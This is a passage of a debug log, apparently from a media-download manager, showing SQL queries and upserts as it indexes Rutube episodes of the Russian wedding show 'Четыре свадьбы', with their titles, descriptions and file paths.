s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:08.461 [debug] QUERY OK source="media_items" db=1.1ms idle=1006.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-04 14:30:17Z], 1] 14:36:08.481 [debug] QUERY OK source="media_items" db=19.3ms idle=1007.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре невесты побывают на торжествах друг друга. Вероника пригласит конкуренток в Сургут на свою «вызывающую» свадьбу. Елизавета из Казани подготовит для гостей своей свадьбы интерактивные зоны. У Кристины из Челябинска будет мероприятие с ярким дресс-кодом. А Яна из Воронежа позовёт соперниц на эко-свадьбу. Какие впечатления от торжеств останутся у девушек, узнаем из программы «Четыре свадьбы».", "Четыре свадьбы: Эко-свадьба VS Современная классика", "bd72619c-9a30-477b-bf79-1d1c88d5ae25", "8ebafb0e53e9116ec57e17a91ace3dee", 6740, false, "https://rutube.ru/video/8ebafb0e53e9116ec57e17a91ace3dee/", 92, "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e020400 - Четыре свадьбы: Эко-свадьба VS Современная классика.mp4", false, false, false, 1, [], 1, ~U[2025-02-04 14:30:17Z], ~U[2025-12-09 11:36:08Z], ~U[2025-12-09 11:36:08Z], "Четыре невесты побывают на торжествах друг друга. Вероника пригласит конкуренток в Сургут на свою «вызывающую» свадьбу. Елизавета из Казани подготовит для гостей своей свадьбы интерактивные зоны. У Кристины из Челябинска будет мероприятие с ярким дресс-кодом. А Яна из Воронежа позовёт соперниц на эко-свадьбу. Какие впечатления от торжеств останутся у девушек, узнаем из программы «Четыре свадьбы».", "Четыре свадьбы: Эко-свадьба VS Современная классика", "8ebafb0e53e9116ec57e17a91ace3dee", 6740, false, "https://rutube.ru/video/8ebafb0e53e9116ec57e17a91ace3dee/", "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e020400 - Четыре свадьбы: Эко-свадьба VS Современная классика.mp4", false, 1, ~U[2025-02-04 14:30:17Z]] 14:36:08.495 [debug] QUERY OK source="sources" db=13.9ms queue=0.1ms idle=140.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:08.496 [debug] QUERY OK source="media_profiles" db=0.5ms idle=38.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:36:08.497 [debug] QUERY OK source="media_items" db=0.6ms idle=37.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [88] 14:36:08.498 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "В свадебном марафоне примут участие Полина из Москвы, Алина из Краснодара, Ралина из Казани и Екатерина из Санкт-Петербурга. Полина будет ждать гостей на своей свадьбе в стиле рустик. Алина попробует удивить соперниц готическо-вампирской свадьбой. Ралина организует для гостей своего мероприятия интерактив на велком-зоне. А фишкой торжества Екатерины станет свадебный аукцион. Кто из участниц победит в соревновании невест, увидим в программе «Четыре свадьбы».\n\nФилипп Киркоров выбирает гель для стирки Lamm для своего огромного гардероба – https://vk.cc/cIkbyX?erid=2SDnjcYK9B2", "duration" => 6887, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e021100 - Четыре свадьбы: Вампирская свадьба VS Свадьба в стиле рустик.mp4", "id" => "9dcabe4fd4f51171ef0ea98aceb41dc7", "original_url" => "https://rutube.ru/video/9dcabe4fd4f51171ef0ea98aceb41dc7/", "playlist_index" => 93, "timestamp" => 1739286110, "title" => "Четыре свадьбы: Вампирская свадьба VS Свадьба в стиле рустик", "upload_date" => "20250211"} 14:36:08.499 [debug] QUERY OK source="sources" db=0.3ms idle=37.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:36:08.500 [debug] QUERY OK source="sources" db=1.2ms idle=18.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:08.502 [debug] QUERY OK source="media_items" db=1.0ms queue=0.2ms idle=5.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-11 15:01:50Z], 1] 14:36:08.544 [debug] QUERY OK source="media_items" db=40.6ms idle=6.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["В свадебном марафоне примут участие Полина из Москвы, Алина из Краснодара, Ралина из Казани и Екатерина из Санкт-Петербурга. Полина будет ждать гостей на своей свадьбе в стиле рустик. Алина попробует удивить соперниц готическо-вампирской свадьбой. Ралина организует для гостей своего мероприятия интерактив на велком-зоне. А фишкой торжества Екатерины станет свадебный аукцион. Кто из участниц победит в соревновании невест, увидим в программе «Четыре свадьбы».\n\nФилипп Киркоров выбирает гель для стирки Lamm для своего огромного гардероба – https://vk.cc/cIkbyX?erid=2SDnjcYK9B2", "Четыре свадьбы: Вампирская свадьба VS Свадьба в стиле рустик", "a11fe859-837c-4fa7-9d87-65feac4c16b8", "9dcabe4fd4f51171ef0ea98aceb41dc7", 6887, false, "https://rutube.ru/video/9dcabe4fd4f51171ef0ea98aceb41dc7/", 93, "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e021100 - Четыре свадьбы: Вампирская свадьба VS Свадьба в стиле рустик.mp4", false, false, false, 1, [], 1, ~U[2025-02-11 15:01:50Z], ~U[2025-12-09 11:36:08Z], ~U[2025-12-09 11:36:08Z], "В свадебном марафоне примут участие Полина из Москвы, Алина из Краснодара, Ралина из Казани и Екатерина из Санкт-Петербурга. Полина будет ждать гостей на своей свадьбе в стиле рустик. Алина попробует удивить соперниц готическо-вампирской свадьбой. Ралина организует для гостей своего мероприятия интерактив на велком-зоне. А фишкой торжества Екатерины станет свадебный аукцион. Кто из участниц победит в соревновании невест, увидим в программе «Четыре свадьбы».\n\nФилипп Киркоров выбирает гель для стирки Lamm для своего огромного гардероба – https://vk.cc/cIkbyX?erid=2SDnjcYK9B2", "Четыре свадьбы: Вампирская свадьба VS Свадьба в стиле рустик", "9dcabe4fd4f51171ef0ea98aceb41dc7", 6887, false, "https://rutube.ru/video/9dcabe4fd4f51171ef0ea98aceb41dc7/", "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e021100 - Четыре свадьбы: Вампирская свадьба VS Свадьба в стиле рустик.mp4", false, 1, ~U[2025-02-11 15:01:50Z]] 14:36:08.559 [debug] QUERY OK source="sources" db=14.4ms idle=46.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:08.559 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=60.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:36:08.560 [debug] QUERY OK source="media_items" db=0.4ms idle=59.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [332] 14:36:08.561 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Четыре невесты оценят свадьбы друг друга. Участницы отправятся в Алатырь, чтобы побывать на молодёжной свадьбе Натальи. В Москве состоится современная свадьба с элементами бохо Ангелины. А в Санкт-Петербурге пройдёт торжество Ульяны, фишкой которого станет мастер-класс от невесты, и свадьба с красным дресс-кодом Ксении. Чьё мероприятие наберёт большее количество баллов, узнаем из программы «Четыре свадьбы».", "duration" => 5659, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e021800 - Четыре свадьбы: Молодежная свадьба VS Свадьба в стиле бохо.mp4", "id" => "822354cf649e3a6e15b1f6f3f8ded9e1", "original_url" => "https://rutube.ru/video/822354cf649e3a6e15b1f6f3f8ded9e1/", "playlist_index" => 94, "timestamp" => 1739889010, "title" => "Четыре свадьбы: Молодежная свадьба VS Свадьба в стиле бохо", "upload_date" => "20250218"} 14:36:08.563 [debug] QUERY OK source="sources" db=1.6ms queue=0.1ms idle=59.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:36:08.565 [debug] QUERY OK source="sources" db=0.9ms queue=0.4ms idle=20.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:08.566 [debug] QUERY OK source="media_items" db=1.2ms idle=6.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-18 14:30:10Z], 1] 14:36:08.609 [debug] QUERY OK source="media_items" db=42.1ms idle=7.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре невесты оценят свадьбы друг друга. Участницы отправятся в Алатырь, чтобы побывать на молодёжной свадьбе Натальи. В Москве состоится современная свадьба с элементами бохо Ангелины. А в Санкт-Петербурге пройдёт торжество Ульяны, фишкой которого станет мастер-класс от невесты, и свадьба с красным дресс-кодом Ксении. Чьё мероприятие наберёт большее количество баллов, узнаем из программы «Четыре свадьбы».", "Четыре свадьбы: Молодежная свадьба VS Свадьба в стиле бохо", "178c8efb-4403-4361-ab95-d54808243490", "822354cf649e3a6e15b1f6f3f8ded9e1", 5659, false, "https://rutube.ru/video/822354cf649e3a6e15b1f6f3f8ded9e1/", 94, "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e021800 - Четыре свадьбы: Молодежная свадьба VS Свадьба в стиле бохо.mp4", false, false, false, 1, [], 1, ~U[2025-02-18 14:30:10Z], ~U[2025-12-09 11:36:08Z], ~U[2025-12-09 11:36:08Z], "Четыре невесты оценят свадьбы друг друга. Участницы отправятся в Алатырь, чтобы побывать на молодёжной свадьбе Натальи. В Москве состоится современная свадьба с элементами бохо Ангелины. А в Санкт-Петербурге пройдёт торжество Ульяны, фишкой которого станет мастер-класс от невесты, и свадьба с красным дресс-кодом Ксении. Чьё мероприятие наберёт большее количество баллов, узнаем из программы «Четыре свадьбы».", "Четыре свадьбы: Молодежная свадьба VS Свадьба в стиле бохо", "822354cf649e3a6e15b1f6f3f8ded9e1", 5659, false, "https://rutube.ru/video/822354cf649e3a6e15b1f6f3f8ded9e1/", "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e021800 - Четыре свадьбы: Молодежная свадьба VS Свадьба в стиле бохо.mp4", false, 1, ~U[2025-02-18 14:30:10Z]] 14:36:08.630 [debug] QUERY OK source="sources" db=19.9ms queue=0.1ms idle=49.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:08.632 [debug] QUERY OK source="media_profiles" db=1.4ms queue=0.2ms idle=67.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:36:08.634 [debug] QUERY OK source="media_items" db=1.7ms idle=67.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [422] 14:36:08.634 [debug] Current batch of media processed. Will check again in 1000ms 14:36:09.635 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "В этом выпуске участницы пригласят на свои свадьбы с бюджетом более 1,5 миллиона рублей. Девушки отправятся в Сочи на тропическую свадьбу Елены. В Новосибирске состоится свадьба в стиле «голливудский шик» Александры. Фишкой мероприятия Кристины из Самары станет бар с коктейлями от жениха. А Наталья из Томска удивит гостей своей свадьбы чёрными кольцами жениха и невесты. Смотрите программу «Четыре свадьбы»!", "duration" => 7185, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e022500 - Четыре свадьбы: Свадьба в голливудском стиле VS Свадьба в стиле тропической вечеринки.mp4", "id" => "b922409e4919ed0c4494f1ed261947a3", "original_url" => "https://rutube.ru/video/b922409e4919ed0c4494f1ed261947a3/", "playlist_index" => 95, "timestamp" => 1740495612, "title" => "Четыре свадьбы: Свадьба в голливудском стиле VS Свадьба в стиле тропической вечеринки", "upload_date" => "20250225"} 14:36:09.636 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1026.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:36:09.637 [debug] QUERY OK source="sources" db=0.5ms idle=1006.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:09.638 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=1005.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-25 15:00:12Z], 1] 14:36:09.658 [debug] QUERY OK source="media_items" db=18.3ms idle=1004.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["В этом выпуске участницы пригласят на свои свадьбы с бюджетом более 1,5 миллиона рублей. Девушки отправятся в Сочи на тропическую свадьбу Елены. В Новосибирске состоится свадьба в стиле «голливудский шик» Александры. Фишкой мероприятия Кристины из Самары станет бар с коктейлями от жениха. А Наталья из Томска удивит гостей своей свадьбы чёрными кольцами жениха и невесты. Смотрите программу «Четыре свадьбы»!", "Четыре свадьбы: Свадьба в голливудском стиле VS Свадьба в стиле тропической вечеринки", "84dbba19-0d73-443b-84bb-a02bbba44f06", "b922409e4919ed0c4494f1ed261947a3", 7185, false, "https://rutube.ru/video/b922409e4919ed0c4494f1ed261947a3/", 95, "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e022500 - Четыре свадьбы: Свадьба в голливудском стиле VS Свадьба в стиле тропической вечеринки.mp4", false, false, false, 1, [], 1, ~U[2025-02-25 15:00:12Z], ~U[2025-12-09 11:36:09Z], ~U[2025-12-09 11:36:09Z], "В этом выпуске участницы пригласят на свои свадьбы с бюджетом более 1,5 миллиона рублей. Девушки отправятся в Сочи на тропическую свадьбу Елены. В Новосибирске состоится свадьба в стиле «голливудский шик» Александры. Фишкой мероприятия Кристины из Самары станет бар с коктейлями от жениха. А Наталья из Томска удивит гостей своей свадьбы чёрными кольцами жениха и невесты. Смотрите программу «Четыре свадьбы»!", "Четыре свадьбы: Свадьба в голливудском стиле VS Свадьба в стиле тропической вечеринки", "b922409e4919ed0c4494f1ed261947a3", 7185, false, "https://rutube.ru/video/b922409e4919ed0c4494f1ed261947a3/", "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e022500 - Четыре свадьбы: Свадьба в голливудском стиле VS Свадьба в стиле тропической вечеринки.mp4", false, 1, ~U[2025-02-25 15:00:12Z]] 14:36:09.670 [debug] QUERY OK source="sources" db=11.2ms idle=314.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:09.671 [debug] QUERY OK source="media_profiles" db=0.2ms queue=0.1ms idle=34.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:36:09.672 [debug] QUERY OK source="media_items" db=0.5ms idle=34.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1870] 14:36:09.672 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Четыре невесты приглашают на свои торжества. У Марии из Екатеринбурга будет молодёжная свадьба. Алиса из Санкт-Петербурга подготовит свадьбу в оттенках фуксии. Юлия из Самары выберет для своего мероприятия морской стиль. А свадьба Анастасии из Ульяновска пройдёт в классическом стиле. Чем девушки будут удивлять гостей на своих мероприятиях, покажет программа «Четыре свадьбы».", "duration" => 5295, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e030400 - Четыре свадьбы: Свадьба в морском стиле VS Молодежная свадьба.mp4", "id" => "0b8c9171a1fe5fb48a07e45a482983b0", "original_url" => "https://rutube.ru/video/0b8c9171a1fe5fb48a07e45a482983b0/", 